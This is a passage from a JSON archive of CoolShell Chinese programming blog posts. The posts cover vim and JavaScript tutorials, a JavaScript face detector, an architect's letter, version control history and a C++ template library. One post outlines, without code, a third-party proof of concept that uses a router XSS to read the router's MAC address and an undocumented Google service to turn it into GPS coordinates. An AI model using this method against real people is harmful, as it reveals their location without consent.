href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3070.html\">Kick Ass小游戏</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-9 Google未公开API：转MAC地址为经纬度.html",
    "content": "<html><body><p>这里有一个POC（Proof of Concept）可以通过你Web浏览器后面的路由器XSS攻击得到一个准确的GPS坐标。注意：路由器和Web浏览器以及IP地址并不包含任和地理信息。其方法是使用了一个Google未公开的API。大约方法如下：</p>\n<ol>\n<li>访问一个网页，这个网页隐藏了一个基于你WiFi路由器的XSS（ 参见： <a href=\"http://samy.pl/vzwfios/\" target=\"_blank\">XSS  Verizon FiOS router</a>）</li>\n<li>通过这个XSS 可以获得路由器的MAC 地址。</li>\n<li>然后通过 Google Location Services我们可以把这个MAC地址映射到GPS坐标。Googel的这个服务是基于HTTP的服务。这并不是一个Google正式发布的API，而是通过 <a href=\"http://www.mozilla.com/en-US/firefox/geolocation/\" target=\"_blank\">Firefox’s Location-Aware Browsing</a> 发现的。</li>\n</ol>\n<p>演示地点在这里：<a href=\"http://samy.pl/mapxss/\" target=\"_blank\">http://samy.pl/mapxss/</a></p>\n<p>我试了一下，无论无线和有线都可以准确定位我的位置。很强大，你也试试看。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3089.html\">Google未公开API：转MAC地址为经纬度</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-10-9 三个教程.html",
    "content": "<html><body><p>第一个是关于vim的，相当的全面。</p>\n<p><a href=\"http://stevelosh.com/blog/2010/09/coming-home-to-vim/\" target=\"_blank\">http://stevelosh.com/blog/2010/09/coming-home-to-vim/</a></p>\n<p>第二个是Mozilla的Javascript教程</p>\n<p><a href=\"https://developer.mozilla.org/en/JavaScript/Guide\" target=\"_blank\">https://developer.mozilla.org/en/JavaScript/Guide</a></p>\n<p>第三个是Kernighan 和Ritchie 的 “The C Programming Language”第二版的问答和练习。</p>\n<p><a href=\"http://users.powernet.co.uk/eton/kandr2/\" target=\"_blank\">http://users.powernet.co.uk/eton/kandr2/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10169.html\"><img alt=\"类型的本质和函数式实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10169.html\">类型的本质和函数式实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5202.html\"><img alt=\"对象的消息模型\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5202.html\">对象的消息模型</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3083.html\">三个教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-1 一个人脸识别的Javascript.html",
    "content": "<html><body><p>这里有一个<a href=\"http://liuliu.me/detect/detect.html\" target=\"_blank\">人脸识别的Javascript</a>，感觉挺酷的。识别的还是很不错的，网友们在做了很多的<a href=\"http://www.reddit.com/r/programming/comments/dy81y/my_notsoslow_face_detector_in_javascript/\" target=\"_blank\">测试</a>，对于动画片里的人员很不准，而且，照片质量要好一点的会准一点。下面是一些识别结果：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"298\" src=\"http://i.imgur.com/jpDEK.jpg\" width=\"326\"/></p>\n<p>一个递归式的图</p>\n<p><span id=\"more-3254\"></span></p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter\" height=\"582\" src=\"http://i.imgur.com/cvVAa.jpg\" width=\"430\"/></p>\n<p>不过，好像只能识别白人</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"696\" src=\"http://i.imgur.com/c7ica.png\" width=\"443\"/></p>\n<p style=\"text-align: left;\">大家可以去试试。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3254.html\">一个人脸识别的Javascript</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-16 架构师给程序员的一封信.html",
    "content": "<html><body><p>下面的邮件是某Architect发给他的Engineering团队的（<a href=\"http://blog.kapilkaisare.info/from-an-architect-to-a-programmer?c=1\" target=\"_blank\">来源</a>），我觉得挺不错的，翻译过来，我相信我们所有的程序员都能从中学到很多东西。下面是这封邮件——</p>\n<div>\n<p style=\"padding-left: 30px;\">每次当我开始做新的东西是我就会很兴奋。就算在软件圈里做了20年以后，每当开始新的旅程里，我都觉得我心中有一些东西不吐不快。这是我们大家一起的旅程。我强烈地相信我们详细规划的过程是很有乐趣的，富有挑战的和丰富多彩的。我想让这个旅程让你们难忘，并且能增添你们所有人的阅历。</p>\n<p style=\"padding-left: 30px;\">这看起来有些唯心主义，不过，我想制订我的工作日程，我们的技术策略，以及你们密切合作的进度。这样一来，当你们做了什么相当不错的事，我们所有人都可以受益。我相当的尊重第一个工程师和他们的代码。</p>\n<p style=\"padding-left: 30px;\">1. 代码是王。文档仅随其后 。所以，代码一定要和文档一致，并可以正确执行。</p>\n<p style=\"padding-left: 30px;\">2. 测试，测试，测试。</p>\n<p style=\"padding-left: 30px;\">3. 单元测试非常关键 。每一个在单元测试之后发现的bug需要开发人员双倍的开销。记住，我宁可增加你的薪水，也不愿意把这些钱发给另一个QA团队然后你再修正bug。因此，如果你的代码满是bug的话，我不得不把钱付给更多的人，而你也只能分得很小的一块饼。</p>\n<p style=\"padding-left: 30px;\">4. 写下有效率的代码，不但是让人读得有效率，而且也是让CPU执行 地有效率。对于坏代码永远不会善罢甘休。</p>\n<p style=\"padding-left: 30px;\">5. 多了解今天工作需要之外的事情。你不仅仅要知道今天干什么，还要知道明天需要什么。</p>\n<p style=\"padding-left: 30px;\"><span id=\"more-3281\"></span></p>\n<p style=\"padding-left: 30px;\">6. 回家时不时做点菜，是的，真正的做菜。这会教会你菜谱和做饭的不同。菜谱告诉你这道菜需要什么样的食材，而你实际去做需要考虑的是你现在手上有什么……这就是其中的不同。（对于一个刚起步的公司，这是一个最大的教训）</p>\n<p style=\"padding-left: 30px;\">7. 创新和好点子（技术或是产品），请与大家共享。</p>\n<p style=\"padding-left: 30px;\">8. 我知道你不喜欢商人。我也知道为什么。他们销售那些你做不到的，他们承诺那些你完不成的。他们要求的比他们付出的更多。但是，没有他们，我们可能没有办法把商业转换成产品。这是一件很难的技能。把你的想法告诉我，我愿意成为你和他们间的缓冲。要建造一个好的团队，我们需要的所有的东西。</p>\n<p style=\"padding-left: 30px;\">9. 作为一个工程师，热爱你的专业。你能拥有一个可以挣钱、受人尊重、并拥有乐趣的程序员人生。</p>\n<p>你觉得怎么样？</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3281.html\">架构师给程序员的一封信</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-17 版本管理器的发展史.html",
    "content": "<html><body><p>以前本站发布过<a href=\"https://coolshell.cn/articles/3100.html\" rel=\"bookmark\">编程语言进化</a>，<a href=\"https://coolshell.cn/articles/3097.html\" rel=\"bookmark\">Windows的达尔文进化图</a>，今天在网上看到版本管理器的进化图，转过来，源文链接如下：</p>\n<p><a href=\"http://codicesoftware.blogspot.com/2010/11/version-control-timeline.html\" target=\"_blank\">http://codicesoftware.blogspot.com/2010/11/version-control-timeline.html</a> (墙)</p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/11/scmhistory.png\"><img alt=\"\" class=\"aligncenter size-full wp-image-3289\" height=\"410\" src=\"../wp-content/uploads/2010/11/scmhistory.png\" title=\"版本管理器的演化图\" width=\"640\"/></a></p>\n<p>这张图上分成了四个时期：</p>\n<p><span id=\"more-3288\"></span></p>\n<p><strong>史前时期</strong>：1982年的RCS。现在你可能还能在Unix的发布包中找到它。</p>\n<p><strong>古典时期</strong>：1990年的CVS（经典的SCM管理器，可惜不能track目录和文件名的改变，今天这个东西已经过时了），1985年的PVCS，1992年的clearcase（价格贵，功能复杂，当然，今天也有很多公司在用），微软的VSS（Welcome to Hell），90年代中期的Perforce(P4，这个工具今天都还在被广泛地使用，尤其是那些中等大小却有着大量开发团队的公司，现在是Google内部最大的代码管理器)。</p>\n<p><strong>中世纪时期</strong>：SVN（Linus很不喜欢SVN，2006年引入了Git），AccuRev(强力支持branch和merge，其扮演了一个很重要角色帮助社区脱离clearcase和CVS)，</p>\n<p><strong>文艺复兴时期</strong>：BitKeeper——Sun的内部管理工具，Linux的内核代码2002年也用这个工具，其实，很多开源工程都在用这个工具，2005年这个工具的东家BitMover对大家对BitKeeper逆向工程很不满，于是停止支持开源，于是出现了Git。</p>\n<p>Git的第一个版本是Linux之父Linus Torvalds亲手操刀设计和实现的（据说只用了一个周末），Linus不仅仅给出一个原始设计（简单的、干净的、天才的），同时，他也用自己那独一无二的风格催生了这个项目（请参看： <a href=\"http://codicesoftware.blogspot.com/2007/05/linus-torvalds-on-git-and-scm.html\" target=\"_blank\">http://codicesoftware.blogspot.com/2007/05/linus-torvalds-on-git-and-scm.htm</a>l 还是被墙）。</p>\n<p>在Linus介绍Git的著名的演讲中，他强烈地批评（好吧，应该算是侮辱）了CVS，SVN，和Perforce：“Subversion是史上最毫无意义的项目，从项目开始就是这样了”，“如果你喜欢CVS，那么你现在应该在某个精神病研究中心或是别的地方”，“别在用Preforce了，它是十分糟糕和可悲的，这绝对绝对是真的”。无论是反对还是喜欢，Linus的确是改变了历史——中世纪已经过去了，现在的世界由分布式系统主宰，以及消除branch和merge的恐惧。</p>\n<p>Git 基于 DAG 结构 (Directed Acyclic Graph)，其运行起来相当的快。在Git发布后的来年，世界上所有的大型的开源项目全部从Subversion迁移到了Git上，<a href=\"http://www.github.com/\" target=\"_blank\">www.github.com</a>真是很大，这可能是这具星球上最强大最牛最酷的SCM系统了。Git可能并不是最简单的，但它一定会是未来十年的主流。（有空读读这本书——<a href=\"http://peepcode.com/products/git-internals-pdf\" target=\"_blank\">Git Internals</a>）</p>\n<p>Mercurial (Hg) 第一次出现在2005年4月，也是因为BitKeeper不免费了。Hg可以和Git在一起使用，见：<a href=\"http://mercurial.selenic.com/wiki/HgGit\" target=\"_blank\">http://mercurial.selenic.com/wiki/HgGit</a>。但是Hg和Git在设计上不一样，他们对提交/变更的概念是一样的，只不过Git用tree来实现，而Hg则是用扁平的文件和目录来实现（revlog），设计细节可参看：<a href=\"http://mercurial.selenic.com/wiki/Design\">http://mercurial.selenic.com/wiki/Design</a>和 <a href=\"http://mercurial.selenic.com/wiki/DeveloperInfo\">http://mercurial.selenic.com/wiki/DeveloperInfo</a>。</p>\n<p>Darcs (Darcs Advanced Revision Control System)是另一个让你摆脱Subversion和CVS的工具，2002年开始，今年是2.5版。它的优势是性能，以及他与众不同的历史版本管理——管理patches而不是snapshot（提交/修改），当然，这样一来，历史改变看上去很不好懂。</p>\n<p>Bazaar (bzr) 是另一个开源的 DVCS，它试图给SCM的世界里带来一些新的东西。其由Canonical开发（Ubuntu的那个公司），在2008年成为GNU。</p>\n<p>Plastic在2006年出现，强力地支持branch和merge，其还提供了强大的图示，包括3D的版本树，Plastic主要是为了让中等开发团队使用，介于大型的团队（ClearCase）和小型的团队（Subversion）之间。</p>\n<p>Team Foundation Server (TFS)，微软的新一代SCM工具，主要是为了VSS的失败负责，但是他还不是版本管理上还是很强，只不过，他集成了一大堆各种各样的工具，比如：issue tracking，test management等。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7755.html\"><img alt=\"Git显示漂亮日志的小技巧\" height=\"150\" src=\"../wp-content/uploads/2012/06/git.log_.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7755.html\">Git显示漂亮日志的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/93.html\"><img alt=\"版本控制Subversion相关资源\" height=\"150\" src=\"../wp-content/uploads/2009/03/tortoisesvn-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/93.html\">版本控制Subversion相关资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2363.html\"><img alt=\"MSDN中的两个命名\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2363.html\">MSDN中的两个命名</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7126.html\"><img alt=\"这到底是谁之错？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7126.html\">这到底是谁之错？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2704.html\"><img alt=\"检查素数的正则表达式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2704.html\">检查素数的正则表达式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/428.html\"><img alt=\"程序员需要具备的基本技能\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/428.html\">程序员需要具备的基本技能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3288.html\">版本管理器的发展史</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-11-2 C++的字符串格式化库.html",
    "content": "<html><body><p>这里向大家介绍一个C++的字符串格式化库，叫cpptempl，这个库支持对字符串格式的条件，循环，变量插入。看上去很不错，只不过其是基于boost库的。</p>\n<p>下面是一个例子：</p>\n<pre class=\"EnlighterJSRAW\">// The text template\nwstring text = L\"I heart {$place}!\" ;\n// Data to feed the template engine\ncpptempl::data_map data ;\n// {$place} =&gt; Okinawa\ndata[L\"place\"] = cpptempl::make_data(L\"Okinawa\");\n// parse the template with the supplied data dictionary\nwstring result = cpptempl::parse(text, data) ;</pre>\n<p>输出结果是：</p>\n<blockquote><p>I heart Okinawa!</p></blockquote>\n<p>是不是很方便？让我们看一个更复杂的例子：</p>\n<p><span id=\"more-3258\"></span></p>\n<pre class=\"EnlighterJSRAW\">// You'd probably load this template from a file in real life.\nwstring text = L\"&lt;h3&gt;Locations&lt;/h3&gt;\\n&lt;ul&gt;\\n\"\n    L\"{% for place in places %}\"\n    L\"&lt;li&gt;{$place}&lt;/li&gt;\\n\"\n    L\"{% endfor %}\"\n    L\"&lt;/ul&gt;\" ;\n// Create the list of items\ncpptempl::data_list places;\nplaces.push_back(cpptempl::make_data(L\"Okinawa\"));\nplaces.push_back(cpptempl::make_data(L\"San Francisco\"));\n// Now set this in the data map\ncpptempl::data_map data ;\ndata[L\"places\"] = cpptempl::make_data(places);\n// parse the template with the supplied data dictionary\nwstring result = cpptempl::parse(text, data) ;</pre>\n<p>输出结果是：</p>\n<blockquote><p>&lt;h3&gt;Locations&lt;/h3&gt;<br/>\n&lt;ul&gt;<br/>\n&lt;li&gt;Okinawa&lt;/li&gt;<br/>\n&lt;li&gt;San Francisco&lt;/li&gt;<br/>\n&lt;/ul&gt;</p></blockquote>\n<p>更为详细的说明请到这里：<a href=\"http://bitbucket.org/ginstrom/cpptemplate/wiki/Home\" target=\"_blank\">http://bitbucket.org/ginstrom/cpptemplate/wiki/Home</a>。</p>\n<p>Google也有一个类似的库叫ctemplate：<a href=\"http://code.google.com/p/google-ctemplate/\" target=\"_blank\">http://code.google.com/p/google-ctemplate/</a> 提供相似的方法，你也可以试试看。与Google相对应的Java库叫Hapax：<a href=\"http://code.google.com/p/hapax/\" target=\"_blank\">http://code.google.com/p/hapax/</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img 